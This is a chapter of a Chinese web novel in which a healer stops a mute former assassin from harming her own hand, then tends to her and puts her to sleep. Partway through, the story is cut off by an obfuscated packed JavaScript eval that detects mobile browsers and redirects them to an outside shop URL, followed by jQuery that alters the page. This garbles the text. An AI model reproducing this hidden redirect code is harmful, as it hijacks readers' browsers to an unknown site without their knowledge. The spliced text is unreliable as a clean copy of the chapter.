15. 这是我的命

作品:《杀手从良指南

    柴刀砍在木墩边缘的闷响,一下砸在了莫絮语心口上。


    她死死抱着闻不言的手臂,整个人都在发抖,眼泪不受控制地往下掉,声音却拔得又高又厉,哭腔的尖锐几乎要刺破院子的宁静:


    “你要干什么!你疯了吗?!”


    “我费了多大劲才把你从阎王手里抢回来?啊?!乱葬岗背你回来,我腰疼了三天!


    给你用的那些药,哪一味不是我自己上山采的、熬夜炮制的?


    鬼枯藤!七叶莲!我攒了多久才舍得用?!”


    她一边哭一边骂,眼泪糊了满脸,抱着闻不言手臂的力道却一点不敢松,像是怕一松手,这人就会做出更可怕的事。


    “你胸口那道疤,缝了十七针!我熬了三个通宵盯着,怕你发热,怕你伤口溃烂!


    你体内的毒,我翻了多少医书,试了多少方子才找到门路?!我试药试得自己拉肚子的时候,你想过没有?!”


    闻不言低头,看着怀里这个哭得满脸是泪、却还在声嘶力竭骂她的女人。


    莫絮语的头发乱了,几缕碎发黏在湿漉漉的脸颊上,眼睛红得跟兔子一样,鼻尖也红,嘴唇因为激动和哭泣微微颤抖着。


    她从来没见过莫絮语这样。


    哪怕是被那猎户指着鼻子骂“黑心肝”的时候,她也只是冷静地反驳,可现在……


    哭骂撞进耳朵里,她喉结动了动,却发不出半点声音,只觉得心口像被什么堵住。


    “你有什么事不能说出来?!有什么坎过不去非要这样?!啊?!”


    莫絮语仰着脸瞪她,眼泪还在不停地流,声音也越来越凶:“活着不好吗?!我救你回来,是让你这么糟蹋自己的吗?!”


    “你知道多少人想活都活不了吗?!那个猎户的儿子,我想救,可我救不了!我只能看着他死!你呢?!我拼了命把你救活了,你倒好,一声不吭,自己拿刀往手上砍?!”


    她越说越气,忽然松开一只手,狠狠一巴掌拍在闻不言的肩膀上。


    “把刀放下!听见没有?!”


    闻不言被她拍得愣了一下,肩膀上的痛感清晰传来,却远不及心口的震颤。


    她下意识地往回缩了缩手,眼底掠过一丝无措,又飞快地被隐忍掩盖。


    莫絮语趁机用两只手去掰她握刀的手指,一根一根地掰,边掰边哭骂:“松手!你给我松手!你这人怎么这样……怎么这样……”


    她的声音渐渐低下去,从愤怒的嘶喊变成了委屈的哽咽,眼泪也掉得更凶,温热的砸在闻不言的手背上。


    “我治了那么多人……从来没见过你这样的……”


    她抽噎着,终于把闻不言最后一根手指从刀柄上掰开,柴刀“哐当”一声掉在地上,立刻被她一脚把刀踢开老远。


    然后她转过身,用那双哭得红肿的眼睛死死瞪着闻不言。


    闻不言站在原地,看着对方通红的眼眶和微微颤抖的嘴唇,心底那股求死的韧劲,像是被滚烫的眼泪泡软了一角,却又没彻底消散,只剩满心的茫然和无措,连抬眼与对方对视的勇气都没有。


    “你……”她吸了吸鼻子,尽管声音还有浓重的鼻音,但努力想摆出严厉的样子:“你马上给我回屋去!听见没有!”


    闻不言站着没动,抬头看了一眼对方死死瞪着她的眼睛。


    “看什么看?!”莫絮语见她不动,更气了,伸手用力推她:


    “回去躺着!我让你动了吗?!谁准你下床的?!还光着脚!我告诉你,你要是敢生病,诊金再加一百两!我看你拿什么赔!”


    她一边推一边骂,闻不言被她推得踉跄了一下,终于动了。


    她转过身,慢慢地一步一步往回走。


    莫絮语跟在她身后,还在抽噎,但骂声根本停不下:“我真是……真是自找麻烦,捡你回来……治伤治病还不够,还得防着你自残……你是不是还有什么毛病我不知道……”


    听着后面口是心非的骂声,她的喉结又动了动,指尖蹭了蹭手背上残留的泪痕,那点温热顺着指尖,慢慢渗进了心底那片常年冰凉的地方,没有烫开什么洞,只是微微暖了一点,暖得她有些发慌。


    莫絮语跟着进了屋,看着她慢吞吞地坐回床上,立刻扯过薄被把她裹住。


    “手伸出来。”莫絮语板着脸说。


    闻不言迟疑了一下,伸出左手。


    莫絮语抓过她的手,仔细检查刚才按在木墩上的掌心,还好,只有几处被木刺扎出的小红点,没有破皮。


    她松了口气,但脸色依旧难看,从怀里掏出一个小瓷瓶,倒出一点药膏,胡乱抹在那些红点上。


    “另一只。”莫絮语没好气地说。


    闻不言伸出右手。


    莫絮语检查了她握刀的手,虎口处因为用力有些发红,但也没受伤。


    抹完药,她把瓷瓶塞回怀里,站在床边,双手叉腰,居高临下地瞪着闻不言。


    闻不言低着头,看着自己被抹了药膏的手掌。


    “抬头。”莫絮语命令。


    闻不言缓缓抬起头。


    四目相对。


    莫絮语的眼睛还红肿着,脸上泪痕未干,头发也乱糟糟的,但眼神里的愤怒和担忧,像两簇烧得正旺的火,烫的床上的人莫名心虚。


    “我告诉你,阿闷。”她一字一顿地说,把每个字都咬得很清楚:“你的命,现在有一半是我的,我救回来的,我不准你糟蹋,听见没有?”


    闻不言看着她,没点头,也没摇头。


    “说话!”莫絮语凶巴巴地催促:“听见没有?!”


    闻不言沉默了很久,久到莫絮语以为她又不会回应时,才极轻微地点了一下头。


    莫絮语紧绷的肩膀终于松了一些:“从今天起,没有我的允许,不准碰任何利器。


    柴刀、菜刀、剪刀,都不准碰,劈柴的活儿不用你干了,挑水也不用,你就给我好好养着,按时吃药,按时睡觉,听见没有?”


    闻不言又点了一下头。


    “还有——”莫絮语深吸一口气,努力让声音平稳些:“你要是再做噩梦,难受了,心里堵得慌了,不许一个人闷着。


    来找我,告诉我,哪怕你不会说话,写出来,比划出来,怎么样都行,不许再像今天这样,听见没有?”


    依旧只是点头。


    莫絮语盯着她看了好一会儿,当她是真的听进去了,才重重吐出一口气。


    “药还在灶上熬着,我去看看。”她转身往外走,走到门口,又停住,回头补充了一句:“你就在这儿坐着,不许动,我一会儿端药过来。”


    说完,她推门出去了。


    屋里安静下来。


    闻不言坐在床上,裹着薄被,看着自己抹了药膏的手掌。


    药膏已经干了,留下一点淡淡的痕迹。


    她抬起手,凑到鼻尖闻了闻,薄荷和金银花的清凉气息,萦绕在鼻尖,干净又纯粹,像莫絮语身上的味道。


    她放下手,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308904|198708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    视线落在窗外。


    院子里,莫絮语正蹲在灶棚前,用蒲扇小心地扇着炉火。


    她的背影看起来有些单薄,肩膀微微耸着,偶尔抬手抹一下脸,大概是在擦眼泪。


    闻不言看了很久,然后慢慢把薄被裹得更紧了些。


    药熬好了。


    莫絮语端着一碗黑乎乎的药汁进来,脸上除了眼睛还有点红,已经看不出哭过的痕迹了。


    她把药碗递到闻不言面前:“喝了。”


    闻不言接过碗,看着碗里晃动的黑色液体,闻到了熟悉的苦味。


    “看什么看?怕我下毒啊?快喝!凉了更苦.....”


    闻不言端起碗,一口气把药喝完了。


    苦味从舌尖一直蔓延到喉咙,再沉进胃里。


    莫絮语接过空碗,看她喝的干干净净,脸色稍微好看了些:“这药里我加了安神的,你喝了好好睡一觉,不许再胡思乱想,听见没有?”


    闻不言点头。


    莫絮语站起身,走到门口,又回头看了她一眼。


    “睡吧。”说完,便带上了门。


    脚步声远去。


    闻不言慢慢躺下,拉高薄被,盖到下巴。


    药效很快上来了,困意像潮水一样涌上来。


    她闭上眼,这一次,没有血,没有惨叫,没有那些纠缠不休的亡魂。


    只有一片安静的黑暗,和残留在鼻尖淡淡的薄荷金银花香。


    她睡着了。


    这一觉睡得很沉,直到傍晚才醒。


    醒来时,屋里已经点起了油灯。


    莫絮语正坐在桌边看书,听到动静,抬起头:“醒了?饿不饿?”


    闻不言坐起身,点了点头。


    莫絮语放下书,起身出去了。


    过了一会儿,她端着一碗粥进来,粥熬得稠稠的,里面加了切碎的青菜和一点肉末,香气扑鼻。


    “吃吧。”她把粥放在床边的小几上,又递过来一双筷子。


    闻不言接过筷子,低头喝粥。


    莫絮语就坐在旁边看着,也不说话。


    屋里很安静,只有闻不言喝粥的细微声响,和油灯灯芯偶尔爆出的噼啪声。


    一碗粥喝完,闻不言放下碗筷。


    莫絮语接过空碗,问:“还要吗?”


    闻不言摇头。


    莫絮语把碗筷收走,很快又端了一碗清水进来:“漱漱口。”


    闻不言接过水,漱了口。


    莫絮语把水端出去倒了,再回来时,手里拿着针囊。


    “手伸出来。”她说。


    闻不言伸出左手。


    莫絮语在她手腕上扎了几针,又换了右手。


    金针细长,刺入皮肤时只有一点微麻的刺痛。


    扎完针,莫絮语坐在床边,手指轻轻捻动针尾,低声说:“今晚应该能睡得好些,要是还做噩梦,就喊我,我就在隔壁。”


    闻不言看着她专注捻针的侧脸,灯光在她脸上投下柔和的阴影。


    她忽然想起白天,莫絮语哭得满脸是泪、却还死死抱着她手臂的样子。


    心底似乎被烫出了一个小洞。


    莫絮语收拾好针囊,站起身:“早点睡。”


    她走到门口,吹灭了油灯,带上门。


    闻不言躺在黑暗中,听着隔壁传来的细微动静,等着一切归于寂静。


    她闭上眼,翻了个身,面向墙壁蜷缩起来。


    这一夜,无梦。